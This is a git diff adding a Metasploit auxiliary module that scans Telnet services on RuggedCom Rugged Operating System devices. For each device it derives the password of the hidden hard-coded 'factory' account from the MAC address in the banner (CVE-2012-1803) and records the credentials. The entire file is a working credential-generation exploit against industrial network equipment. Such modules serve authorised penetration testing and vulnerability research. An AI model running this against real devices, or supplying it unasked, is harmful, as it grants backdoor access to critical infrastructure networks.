diff --git a/modules/auxiliary/scanner/telnet/telnet_ruggedcom.rb b/modules/auxiliary/scanner/telnet/telnet_ruggedcom.rb
new file mode 100644
index 0000000000..324433b10e
--- /dev/null
+++ b/modules/auxiliary/scanner/telnet/telnet_ruggedcom.rb
@@ -0,0 +1,94 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+#   http://metasploit.com/framework/
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Auxiliary
+
+	include Msf::Exploit::Remote::Telnet
+	include Msf::Auxiliary::Report
+	include Msf::Auxiliary::Scanner
+
+	def initialize(info = {})
+		super(update_info(info,
+			'Name'        => 'RuggedCom Telnet Password Generator',
+			'Description' => %q{
+				This module will calculate the password for the hard-coded hidden username
+				"factory" in the RuggedCom Rugged Operating System (ROS). The password is
+				dynamically generated based on the devices MAC address.
+			},
+			'References'     =>
+				[
+					[ 'CVE', '2012-1803' ],
+					[ 'EDB', '18779' ],
+					[ 'URL', 'http://www.kb.cert.org/vuls/id/889195' ]
+				],
+			'Author'      => ['Borja Merino <bmerinofe[at]gmail.com>'],
+			'License'     => MSF_LICENSE
+		))
+
+		register_options(
+			[
+				Opt::RPORT(23),
+				OptString.new('USERNAME', [ true, 'The username to authenticate as', 'factory']),
+				OptInt.new('TIMEOUT', [true, 'Timeout for the Telnet probe', 30])
+			], self.class)
+	end
+
+
+	def mac_to_password(mac)
+		print_status ("MAC Address: #{mac}")
+		mac_clean = mac.gsub("-","")
+		mac_reverse = mac_clean.each_char.each_slice(2).to_a.reverse.join
+		mac_reverse << "0000"
+		pass = mac_reverse.hex % 999999929
+		print_status ("Password: #{pass}")
+		return pass.to_s
+	end
+
+
+	def get_info(banner)
+		product = banner.match(/Product:\s*\S*/)[0]
+		so_version = banner.match(/Rugged Operating System\s\S*/)[0]
+		return so_version << "  " << product
+	end
+
+
+	def run_host(ip)
+		to = (datastore['TIMEOUT'].zero?) ? 30 : datastore['TIMEOUT']
+		begin
+			::Timeout.timeout(to) do
+				res = connect
+				banner_santized = Rex::Text.to_hex_ascii(banner.to_s)
+				if banner_santized =~ /Rugged Operating System/
+					print_status("#{ip}:#{rport} Calculating Telnet password ...")
+					mac  = banner_santized.match(/((?:[0-9a-f]{2}[-]){5}[0-9a-f]{2})/i)[0]
+					password = mac_to_password(mac)
+					info = get_info(banner_santized)
+					report_auth_info(
+						:host  => rhost,
+						:port => rport,
+						:sname => 'telnet',
+						:user => 'factory',
+						:pass => password,
+						:source_type => "user_supplied",
+						:proof => info,
+						:active => true
+					)
+					break
+				else
+					print_status("It doesn't seem to be a RuggedCom service.")
+					break
+				end
+			end
+
+		rescue ::Rex::ConnectionError
+		rescue Timeout::Error
+			print_error("#{target_host}:#{rport}, Server timed out after #{to} seconds. Skipping.")
+		end
+	end
+end